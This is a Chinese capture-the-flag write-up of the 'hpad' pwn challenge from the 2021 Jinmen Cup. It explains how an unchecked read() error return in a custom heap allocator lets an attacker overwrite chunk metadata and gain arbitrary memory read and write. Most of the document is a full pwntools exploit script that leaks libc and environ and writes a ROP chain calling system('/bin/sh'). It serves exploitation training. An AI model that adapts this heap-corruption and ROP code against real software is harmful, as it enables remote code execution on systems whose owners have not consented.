津门杯2021Writeup

hpad

题目开始提供了3中堆块的分配方式:

进去看一下,发现my heap + my allocation的时候有一个666后门,应该要从这里入手。

gift里面要求解一个奇怪的方程,之后会把bss段上的一个地址泄露给你。

方程直接用z3解

然后看他堆块的实现,结构定义如下:

每次分配会首先看freebin中有没有大小完全符合的块,有就直接分配,否则再从TopChunk分配。

乍一看程序好像没有什么溢出点。

在他自己实现的readn函数里

v3没有判断-1的error返回值,会导致如果read返回了-1会向前面的地址覆盖。加上之前没有判断申请的空间的大小,导致可以申请一个超过topchunk剩余size的空间,写入超过剩余size的字节进去会导致非法地址。这样可以强行把输入顶到前面覆盖掉上一个chunk的size和next。

只要覆盖了next就可以控制myHeapInfo中freebin的值,将其指向noteList中的元素的话可以让freebin指向chunk的next指向我们可控的用户空间,只要我们在里面伪造了一个chunk,再申请掉就可以控制靠后的noteList的值,将其指向noteList中别的元素就可以任意控制noteList中的某一个值,从而任意地址读写。

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
from pwn import *
from z3 import *
import time

#--------------------------------------------------
# exp starts here
#--------------------------------------------------

def z3solve(qes):
s = Solver()
v0 = BitVec('v0', 64)
v1 = BitVec('v1', 64)
s.add(v1 == LShR(v0 ^ ((0x20 * v0)), 13) ^ v0 ^(0x20*v0))
s.add(qes == LShR(v1 ^ (v1 * 2**29), 0xf) ^ v1 ^ (v1 * 2**29))
print(s.check())
rs = s.model()
return rs[v0]


def exploit(p):
sla = p.sendlineafter

libc = ELF("/lib/x86_64-linux-gnu/libc.so.6", checksec=False)

p.sendlineafter('> ', '3')
p.sendlineafter("> ", '666')
p.recvuntil("question: ")
qes = int(p.recvline()[:-1])
ans = z3solve(qes)
ans = int(str(ans))
print(ans)
p.sendafter(": ", p64(ans))
p.recvuntil("gift")
gift = int(p.recvline()[2:-1], 16)

def create(size, content):
sla("> ", "1")
sla(": ", str(size))
sla(": ", content)
def remove(idx):
sla("> ", "3")
sla(": ", str(idx))
def view(idx):
sla("> ", "2")
sla(": ", str(idx))
p.recvuntil("Content: ")
return p.recvline()
def edit(idx, content):
sla("> ", "4")
sla(": ", str(idx))
sla(": ", content)

base = gift - 0x6140
create(0xf00, "")
create(0x50, "")
remove(1)
create(0xf00, p64(base+0x6168).ljust(0xe7, b'\x00'))
create(0x50, p64(0x60) + p64(base+0x6178))
create(0x50, "")

edit(2, p64(base+0x5fc0))
libc.address = u64(view(3)[:-1].ljust(8, b"\x00")) - libc.symbols["puts"]
print(hex(libc.address))

edit(2, p64(libc.address + 0x1ef2e0))
environ = u64(view(3)[:-1].ljust(8, b"\x00"))
print(hex(environ))

edit(2, p64(environ - 0x140))
edit(3, p64(base + 0x101a) + p64(libc.symbols["system"]))

poprdi = base + 0x2c93
edit(2, p64(environ - 0x150) + b"/bin/sh")
edit(3, p64(poprdi) + p64(base + 0x6180))

p.interactive()

#--------------------------------------------------
# exp ends here
#--------------------------------------------------

if __name__ == "__main__":

context(arch="amd64", os="linux")
context.terminal = ["tmux", "split", "-h"]
context.log_level = "debug"

local = 1
dbgattach = 1

if local:
p = process("./hpad")#, env={"LD_PRELOAD":"./libc.so"})
else:
p = remote("node3.buuoj.cn", "26806")

if local & dbgattach:
gdb.attach(p)

exploit(p)